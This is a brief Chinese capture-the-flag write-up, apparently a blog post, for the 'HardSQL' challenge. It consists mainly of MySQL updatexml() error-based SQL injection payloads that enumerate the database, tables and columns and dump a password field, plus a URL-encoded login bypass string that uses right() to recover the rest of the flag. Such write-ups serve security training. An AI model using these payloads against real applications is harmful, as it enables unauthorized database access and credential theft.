• [极客大挑战 2019]HardSQL


    本题考查报错注入

    注入过程如下所示:

    updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
    updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
    updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
    updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
    

    这样只能出来一半的flag,另一半用left()right()语句查询拼接

    username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
    
  • 相关阅读:
    一些想说的事
    化学离子平衡作业偷懒神器
    solution
    SGU 刷题记
    INT128
    # 字典树的指针写法 1.
    CSP-S2 游记
    Tarjan 【整理】
    HGOI 20191106
    20191101
  • 原文地址:https://www.cnblogs.com/buchuo/p/12784277.html
Copyright © 2020-2023  润新知